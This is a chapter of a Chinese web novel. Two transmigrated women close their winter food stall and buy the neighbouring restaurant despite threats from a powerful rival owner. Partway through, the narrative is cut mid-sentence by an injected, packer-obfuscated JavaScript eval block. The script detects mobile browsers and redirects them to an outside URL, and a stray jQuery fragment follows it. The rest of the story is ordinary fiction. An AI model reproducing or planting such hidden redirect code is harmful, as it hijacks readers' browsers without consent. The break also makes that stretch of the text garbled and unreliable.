隆冬腊月,凛冽寒风卷着鹅毛般的大雪一连下了好几日,路上的行人都少了许多。
沈婉仪和江霁月这种时候才知道她们二人的这个铺子有多么简陋,四处并没有挡风的围挡,客人光是在这外面坐着都冷得坐不住。
也是为此,这几日连往日里经常堂食的客人都选择了打包带走。
沈婉仪和江霁月一合计,干脆直接将摊子暂时关门,安安心心回府过年。
并且趁着这段时日,刚好也可以把她们的摊子做一番改造,这样等到正月再开始营业时,她们的摊子就会焕然一新了。
不对,那时候,便不能再将其称之为摊子了,而是酒楼才对。
所谓的酒楼并不是直接将摊子改成酒楼,而是将摊子收起,后面的小厨房进行扩建,将其和边上酒楼原本的厨房合二为一,整个一起作为酒楼的后厨。
说起来两人能买下原本位于隔壁的酒楼也是运气。
此时已是腊月下旬,有些家不在上京城的店主会选择回家过年,沈婉仪和江霁月摊位隔壁的店主就是这样。
与她们两人不同的是,隔壁店主的酒楼并不是租的,而是当初倾家荡产直接买下来的。
这可是开在繁华路段的酒楼,前期投入的银子比起沈婉仪她们可谓是翻了七八倍不止,为着这巨额的成本,想要赚钱菜品的价格自然也是低不了。
沈婉仪之前和江霁月忙到晚上不想自己下厨时,偶尔也去这家味美楼吃过一两次,味道还行,但若是专门为这跑一趟,她觉得没有必要。
很显然很大一部分客人也这样想,所以这家酒楼原本开业的一两年生意还行,之后这几年随着万鹤楼的生意越来越火爆,生意也渐渐萧条了。
大概是上个月,江霁月拿着新口味汉堡去隔壁串门时,偶然看到店主王然正一脸不耐烦地将万鹤楼老板赶出去,她去一问才知道,原是他正在找下家,打算今年回老家过完年后就不来了。
这万鹤楼的店主雷义听到了风声,立刻兴高采烈地跑过来说要接下,只是出的价比起王然的预期少了一半。
王然的出价本就是已经低于了市价,见对方又是死对头,又这般趁火打劫、刻意压价,心里硬是气不打一处来,当场就冷了脸,将人给赶了出去。
后来这雷义又腆着脸来过好几次,价格虽抬到了六成,最后甚至是七成,但无一例外都被扫地出门。
最后一次,也就是江霁月看到的那次,他也被一而再再而三地拒绝给惹恼了,撂下狠话,拂袖而去。
而那段狠话的内容,江霁月回来时也原封不动地讲给了沈婉仪听。
“我已经放了话,在这上京,若是谁要是接手了你的这个酒楼,便是和我万鹤楼作对!我看今后你这个酒楼谁敢接,!若是不卖给我,那你便一直烂在手里吧!”
雷义讲出这段话也是有几分底气在的。
一来,万鹤楼这几年的生意的确实越来越红火,现在可以甚至说是上京城酒楼里独一档的存在,有许多达官贵人都成了他家的常客。
二来,有传言说,雷义并非万鹤楼真正的主人,万鹤楼真正的主人应是皇家中人。
虽不知道第二条传言孰真孰假,但无疑是又是给雷义的脸上镶了金子,这两条加在一起确实会让上京城的酒楼行当给他几分薄面。
所以他这番话不算是空话。
但沈婉仪听到这事后却想赌一把,原因是这味美楼的位置实在优越,处在繁华路段不说,而且刚好就在沈婉仪他们小摊子的隔壁,可谓是为她们的小厨房量身打造的一个酒楼。
并且店主还着急赶在年前出手,价格十分优惠。
江霁月原本将此事讲给她听,只是当做闲谈,却没想到她听完后当即便决定要盘下这家酒楼,她当场脱口而出,“婉婉,你不怕被报复吗?”
虽说她也知道这酒楼的价格实惠,但这雷义她们确实惹不起。
婉婉虽然有一定的家世背景,可若是那传言说的是真的,那婉婉这背景在皇权面前就有些不够看了,更别说她这种连家世低的排不上号的人了。
“怕是怕,但是错过这个村可就没这个店了。”
沈婉仪垂眸细细分析道,“所谓的报复手段,无非都是一些陷害、造谣、压价格、抢客源的手段,若是提前有应对之策,这些都不是什么难事。”
“话是这样说没错。”江霁月摸摸下巴,提出疑问,“若是他派人帮了我们的家人用来威胁我们怎么办?”
在现代她也是看过不少电视剧和小说的人,绑人威胁这手段,在商战中可没少出现过。
“届时新的酒楼开业时,对外只说我是店主,隐去你的身份。这样无论那个传言是不是真的,他都不敢轻易动手。”
江霁月本身其实不怕与人动手,她只怕牵累她娘,所以尽管她在现代是个散打冠军,穿越过来后在她那个“爹”面前也装的是一副窝囊样子。
不过等到明年她们的酒楼开业之后,赚的银子数量定会很可观,到时候她就可以将娘亲接出来了。她抬起手来和她击掌,“好,那我们就去把酒楼买下来。”
她们当时找店主说这事的时候,店主明显喜出望外,但他冷静下来后开始担心二人遭到报复,便打算回绝她们。待沈婉仪告知她的身份之后,店主这才转变主意。
他那时还略显讶异地说,“我还以为世家大族的姑娘都是十指不沾阳春水的呢,见到姑娘才知我这是少见多怪了。”
沈婉仪只笑笑,“还是师父教得好。”
旁边站着的“师父”听到这话朝着她挤了挤眼。
那日之后,两人便买下了这家酒楼,店主原本还想给她们打个折,但拗不过两人非要按原价购买,只好无奈答应,但酒楼里面的各种器具他都免费赠送给了她们。
店主离开上京时,两人都去送了他,他与她们道别时,甚至还有闲心与她们玩笑,“要不是当年来上京的时候,我妹妹还小,不然凭借她的手艺,我这味美楼怎么也得和那个万鹤楼分庭抗礼,也不至于现在灰溜溜地回家去。”
两人这才
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277532|192630||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
知道原来店主还有个厨艺极佳的妹妹留在老家,江霁月当即发出邀请,“若是妹妹以后有来上京的打算,店主您让她来找我,我保证让她的厨艺名满上京。”
这话有些狂妄,她们两人开的那个摊子虽生意还不错,但也不至这般夸下海口,王然没放在心上,只当她是在安慰他,于是也应承下来,“一定,一定。”他说完便挥着手走了。
两人用他交给她们的钥匙,打开了味美楼的门,在发现后厨距离她们的小厨房仅有一墙之隔的距离后,当时就决定要将两处打通,扩建厨房。
而现在她们将摊子暂时关闭之后,刚好有时间用来改造这两处,不仅如此,江霁月还将原来酒楼的布局修改了一番,视野变得开阔的同时,楼内的空间利用率也增高了。
两人将这些时日赚的钱全部投了进去,不够的部分,沈婉仪原计划还是由她来补足,但这次江霁月却按住了她的手,向她笑嘻嘻道,“这次我来。”
她拿来一个小木匣打开给她看,里面是一沓厚厚的银票。
沈婉仪抿紧了唇,道,“霁月,你不必如此为难自己,我之前不是告诉过你,我们之间不用分这么清的吗?”
她知道江霁月在江府的处境,见她一下拿出这么多银票,不由地猜测她是不是变卖了自己贵重首饰。
江霁月拍了拍她的肩,“婉婉,你不用担心,我还不至于掏空家底让自己之后连顿饭也吃不起。这是我娘留给我的嫁妆。”
她之前赚了钱回府时由于太过得瑟,在她娘面前说漏了嘴,她姨娘得知此事后,将为她准备的嫁妆都提前拿了出来。
江霁月说起此事,喉头哽了哽,鼻尖又开始泛酸。
“我娘她那么胆小如鼠的人,竟然在江府那种吃人不吐骨头的地方替我攒了这么多嫁妆。”
“我以前……总觉得她太软弱,觉得她不懂反抗,甚至觉得她活得太窝囊。”
她声音发颤,带着穿越而来的、迟来的感同身受。
“可我现在才明白,她这都是为了我,为了她这唯一的女儿。她在府里活得低声下气,可就是这样低声下气,委曲求全的她,却为了我攒了这么多的嫁妆。”
江霁月此时仿佛真的成了那个“江霁月”,眼眶中的泪水也再也控制不住夺眶而出。
沈婉仪抬起手想为她眼泪,她却赶在她动手之前,一把将眼泪擦干,她擤了擤鼻子,“我要用这钱来生钱,把她接出来过好日子!”
“我要给她好多好多钱,给她买珠宝,给她买金银首饰,给她买大宅子,给她买......”她说着说着,眼泪竟又流了出来。
沈婉仪也被她的情绪感染,眼里沁出泪花,两个人就这样泪眼汪汪地望着对方。
不知是谁先笑了出声,随后两人都笑了开来,互相擦了擦眼泪。
江霁月道,“婉婉,我们会一起当富婆的吧。”
沈婉仪在她的科普下,早就知道这两个字是什么意思,“拥有财富的女人”。
她坚定而有力道,“好。”